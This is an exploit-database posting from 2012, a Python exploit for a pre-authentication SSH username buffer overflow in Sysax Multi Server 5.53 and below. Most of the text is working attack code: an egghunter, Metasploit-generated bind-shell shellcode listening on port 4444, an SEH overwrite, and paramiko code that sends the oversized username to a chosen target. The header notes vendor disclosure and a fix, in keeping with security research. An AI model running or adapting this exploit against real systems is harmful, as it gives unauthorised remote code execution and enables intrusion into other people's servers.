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Sysax 5.53 SSH Username Buffer Overflow Exploit

Sysax 5.53 SSH Username Buffer Overflow Exploit
Posted Feb 27, 2012
Authored by Craig Freyman

Sysax Multi Server versions 5.53 and below SSH username buffer overflow pre-authentication remote code execution exploit with egghunter shellcode that binds a shell to port 4444.

tags | exploit, remote, overflow, shell, shellcode, code execution
SHA-256 | 1a9e244ba23211e8a0745f4370e9f10d0e94ad75ca261b64e8e40b6e0606839f

Sysax 5.53 SSH Username Buffer Overflow Exploit

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#!/usr/bin/python
##########################################################################################################
#Title: Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter)
#Author: Craig Freyman (@cd1zz)
#OS Tested: XP SP3 32bit, 2003 Server SP2 (No DEP)
#Software Versions Tested: 5.53, 5.52, 5.50
#Date Discovered: Febrary 22, 2012
#Vendor Contacted: Febrary 23, 2012
#Vendor Response: February 27, 2012
#Vendor Fix: Sysax 5.55
#Detailed Exploit Description:http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html
##########################################################################################################
import paramiko,os,sys
if len(sys.argv) != 3:
print "[+] Usage: ./filename <Target IP> <Port>"
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05"
"\x5a\x74\xef\xb8\x44\x4e\x57\x50\x8b\xfa\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e -e x86/alpha_mixed X
shell = ("DNWPDNWP"
"\x89\xe0\xda\xdf\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x69\x6c\x68\x68\x6d\x59\x77\x70\x57\x70"
"\x57\x70\x33\x50\x4f\x79\x39\x75\x70\x31\x7a\x72\x62\x44"
"\x4c\x4b\x52\x72\x70\x30\x6e\x6b\x32\x72\x44\x4c\x4c\x4b"
"\x36\x32\x74\x54\x6e\x6b\x71\x62\x34\x68\x64\x4f\x78\x37"
"\x42\x6a\x76\x46\x54\x71\x39\x6f\x35\x61\x49\x50\x4e\x4c"
"\x77\x4c\x61\x71\x31\x6c\x66\x62\x64\x6c\x75\x70\x39\x51"
"\x58\x4f\x34\x4d\x66\x61\x4f\x37\x6b\x52\x6c\x30\x73\x62"
"\x30\x57\x4c\x4b\x36\x32\x64\x50\x4c\x4b\x63\x72\x77\x4c"
"\x57\x71\x7a\x70\x6e\x6b\x61\x50\x72\x58\x6f\x75\x79\x50"
"\x61\x64\x50\x4a\x63\x31\x48\x50\x30\x50\x4c\x4b\x53\x78"
"\x56\x78\x6e\x6b\x50\x58\x51\x30\x35\x51\x59\x43\x69\x73"
"\x57\x4c\x73\x79\x4c\x4b\x47\x44\x6e\x6b\x47\x71\x79\x46"
"\x44\x71\x4b\x4f\x35\x61\x79\x50\x6c\x6c\x39\x51\x5a\x6f"
"\x76\x6d\x47\x71\x78\x47\x75\x68\x6b\x50\x33\x45\x39\x64"
"\x64\x43\x73\x4d\x4c\x38\x37\x4b\x31\x6d\x45\x74\x64\x35"
"\x39\x72\x32\x78\x4c\x4b\x30\x58\x45\x74\x47\x71\x48\x53"
"\x50\x66\x4c\x4b\x36\x6c\x42\x6b\x4e\x6b\x56\x38\x75\x4c"
"\x47\x71\x39\x43\x4e\x6b\x56\x64\x4e\x6b\x33\x31\x68\x50"
"\x6b\x39\x70\x44\x76\x44\x77\x54\x43\x6b\x71\x4b\x35\x31"
"\x36\x39\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x70\x58\x31\x4f"
"\x42\x7a\x4c\x4b\x55\x42\x6a\x4b\x4d\x56\x63\x6d\x70\x68"
"\x50\x33\x36\x52\x45\x50\x67\x70\x70\x68\x31\x67\x31\x63"
"\x45\x62\x71\x4f\x31\x44\x61\x78\x52\x6c\x62\x57\x51\x36"
"\x53\x37\x59\x6f\x4b\x65\x6f\x48\x6e\x70\x56\x61\x67\x70"
"\x77\x70\x76\x49\x68\x44\x43\x64\x50\x50\x73\x58\x45\x79"
"\x6b\x30\x32\x4b\x65\x50\x49\x6f\x49\x45\x62\x70\x72\x70"
"\x76\x30\x70\x50\x53\x70\x66\x30\x67\x30\x46\x30\x45\x38"
"\x48\x6a\x36\x6f\x39\x4f\x59\x70\x39\x6f\x78\x55\x4e\x69"
"\x49\x57\x36\x51\x6b\x6b\x52\x73\x50\x68\x56\x62\x77\x70"
"\x66\x71\x31\x4c\x4f\x79\x6b\x56\x51\x7a\x36\x70\x72\x76"
"\x32\x77\x65\x38\x4b\x72\x6b\x6b\x64\x77\x71\x77\x4b\x4f"
"\x4e\x35\x50\x53\x56\x37\x73\x58\x6c\x77\x38\x69\x37\x48"
"\x69\x6f\x39\x6f\x78\x55\x63\x63\x30\x53\x31\x47\x62\x48"
"\x30\x74\x78\x6c\x57\x4b\x79\x71\x6b\x4f\x79\x45\x76\x37"
"\x4c\x49\x6f\x37\x55\x38\x73\x45\x72\x4e\x50\x4d\x43\x51"
"\x39\x6f\x59\x45\x73\x58\x42\x43\x50\x6d\x43\x54\x75\x50"
"\x4d\x59\x59\x73\x70\x57\x30\x57\x73\x67\x36\x51\x38\x76"
"\x51\x7a\x57\x62\x42\x79\x36\x36\x5a\x42\x6b\x4d\x31\x76"
"\x49\x57\x61\x54\x47\x54\x37\x4c\x67\x71\x53\x31\x4c\x4d"
"\x67\x34\x77\x54\x74\x50\x7a\x66\x37\x70\x51\x54\x52\x74"
"\x52\x70\x71\x46\x70\x56\x43\x66\x32\x66\x50\x56\x42\x6e"
"\x50\x56\x46\x36\x61\x43\x43\x66\x53\x58\x73\x49\x58\x4c"
"\x37\x4f\x4d\x56\x4b\x4f\x78\x55\x6f\x79\x69\x70\x30\x4e"
"\x50\x56\x51\x56\x39\x6f\x76\x50\x61\x78\x63\x38\x4e\x67"
"\x67\x6d\x71\x70\x59\x6f\x49\x45\x6d\x6b\x68\x70\x4f\x45"
"\x4e\x42\x62\x76\x72\x48\x4c\x66\x4e\x75\x6d\x6d\x6d\x4d"
"\x6b\x4f\x6a\x75\x37\x4c\x63\x36\x63\x4c\x45\x5a\x6f\x70"
"\x39\x6b\x39\x70\x52\x55\x37\x75\x6d\x6b\x63\x77\x75\x43"
"\x74\x32\x72\x4f\x51\x7a\x77\x70\x50\x53\x69\x6f\x38\x55"
"\x41\x41")
padding1 = "\x90" * 50
padding2 = "\x90" * 50
nseh = "\x90\x90\xeb\x80"
seh = "\x69\x26\x40\x00" #00402669 PPR sysaxservd.exe
junk = "A" * (9204 - len(egghunter + padding1 + padding2 + shell))
buff = junk + shell + padding1 + egghunter + padding2 + nseh + seh
print "============================================================================"
print " Sysax <= 5.53 SSH Username BoF Pre Auth RCE "
print " by cd1zz "
print " www.pwnag3.com "
print "============================================================================"
try:
transport = paramiko.Transport((host, port))
except:
print "[X] Unable to connect to " + host + " on port " + str(port)
sys.exit(1)
transport = paramiko.Transport((host, port))
print "[+] Launching exploit against " + host + " on port " + str(port)
print "[+] Done!"
transport.connect(username = buff, password = "pwnag3")
transport.close()

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